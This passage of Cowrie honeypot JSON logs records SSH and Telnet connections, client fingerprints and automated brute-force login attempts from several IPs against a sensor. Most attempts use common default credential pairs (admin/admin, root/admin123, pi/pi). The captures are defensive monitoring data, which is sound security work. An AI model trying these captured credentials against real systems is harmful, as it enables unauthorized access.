cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:46.400334Z","src_ip":"176.65.132.129","session":"25096069f40b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker123","message":"login attempt [docker/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:46.718197Z","src_ip":"176.65.132.129","session":"25096069f40b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":51316,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4c0907df1bd","protocol":"telnet","message":"New connection: 45.58.127.90:51316 (10.17.0.5:23) [session: c4c0907df1bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:47.635200Z"}
{"eventid":"cowrie.session.closed","duration":120.0015058517456,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:47.680377Z","src_ip":"195.245.96.245","session":"bfc8b179d728","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:47.812677Z","src_ip":"176.65.132.129","session":"25096069f40b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":54562,"dst_ip":"159.203.135.109","dst_port":22,"session":"36e85422d6db","protocol":"ssh","message":"New connection: 172.237.20.62:54562 (159.203.135.109:22) [session: 36e85422d6db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:49.059204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:49.063443Z","src_ip":"172.237.20.62","session":"36e85422d6db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:49.223095Z","src_ip":"172.237.20.62","session":"36e85422d6db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33856,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0cabe5d4e42","protocol":"ssh","message":"New connection: 176.65.132.129:33856 (159.203.135.109:22) [session: d0cabe5d4e42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:49.625283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:49.630018Z","src_ip":"176.65.132.129","session":"d0cabe5d4e42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:49.699885Z","src_ip":"172.237.20.62","session":"36e85422d6db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:49.712938Z","src_ip":"176.65.132.129","session":"d0cabe5d4e42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:49.958693Z","src_ip":"176.65.132.129","session":"d0cabe5d4e42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":19834,"dst_ip":"10.17.0.5","dst_port":22,"session":"52da0645ed29","protocol":"ssh","message":"New connection: 87.251.64.176:19834 (10.17.0.5:22) [session: 52da0645ed29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:50.247480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:50.252089Z","src_ip":"87.251.64.176","session":"52da0645ed29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:50.348788Z","src_ip":"87.251.64.176","session":"52da0645ed29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.245.96.245","src_port":40993,"dst_ip":"159.203.135.109","dst_port":23,"session":"93caa1c9cb8d","protocol":"telnet","message":"New connection: 195.245.96.245:40993 (159.203.135.109:23) [session: 93caa1c9cb8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:50.411612Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:50.638144Z","src_ip":"87.251.64.176","session":"52da0645ed29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:50.736961Z","session":"52da0645ed29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:50.834155Z","src_ip":"87.251.64.176","session":"52da0645ed29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:50.862751Z","src_ip":"172.237.20.62","session":"36e85422d6db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:50.932992Z","src_ip":"87.251.64.176","session":"52da0645ed29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:51.045604Z","src_ip":"176.65.132.129","session":"d0cabe5d4e42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33872,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b39b7229260","protocol":"ssh","message":"New connection: 176.65.132.129:33872 (159.203.135.109:22) [session: 1b39b7229260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:52.886360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:52.890652Z","src_ip":"176.65.132.129","session":"1b39b7229260","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:52.971920Z","src_ip":"176.65.132.129","session":"1b39b7229260","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:53.217795Z","src_ip":"176.65.132.129","session":"1b39b7229260","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53488,"dst_ip":"10.17.0.5","dst_port":23,"session":"f069ec4269f7","protocol":"telnet","message":"New connection: 45.58.127.90:53488 (10.17.0.5:23) [session: f069ec4269f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:53.624557Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:54.301558Z","src_ip":"176.65.132.129","session":"1b39b7229260","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57536,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b382238dc89","protocol":"ssh","message":"New connection: 176.65.132.129:57536 (159.203.135.109:22) [session: 5b382238dc89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:56.197721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:56.201780Z","src_ip":"176.65.132.129","session":"5b382238dc89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:56.416748Z","src_ip":"176.65.132.129","session":"5b382238dc89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"x","password":"1","message":"login attempt [x/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:56.815422Z","src_ip":"176.65.132.129","session":"5b382238dc89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.06310796737671,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:57.693662Z","src_ip":"45.58.127.90","session":"790baf203180","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:57.899607Z","src_ip":"176.65.132.129","session":"5b382238dc89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57550,"dst_ip":"159.203.135.109","dst_port":22,"session":"29c7fbc330df","protocol":"ssh","message":"New connection: 176.65.132.129:57550 (159.203.135.109:22) [session: 29c7fbc330df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:59.650800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:59.655510Z","src_ip":"176.65.132.129","session":"29c7fbc330df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:59.738445Z","src_ip":"176.65.132.129","session":"29c7fbc330df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":38328,"dst_ip":"159.203.135.109","dst_port":22,"session":"10efa591596d","protocol":"ssh","message":"New connection: 172.237.20.62:38328 (159.203.135.109:22) [session: 10efa591596d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:59.824669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:59.828939Z","src_ip":"172.237.20.62","session":"10efa591596d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:59.987729Z","src_ip":"172.237.20.62","session":"10efa591596d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:59.997857Z","src_ip":"176.65.132.129","session":"29c7fbc330df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:00.473495Z","src_ip":"172.237.20.62","session":"10efa591596d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:01.083162Z","src_ip":"176.65.132.129","session":"29c7fbc330df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.43415951728821,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:01.226005Z","src_ip":"45.58.127.90","session":"1e84e5e8060f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:01.642023Z","src_ip":"172.237.20.62","session":"10efa591596d","protocol":"ssh"}
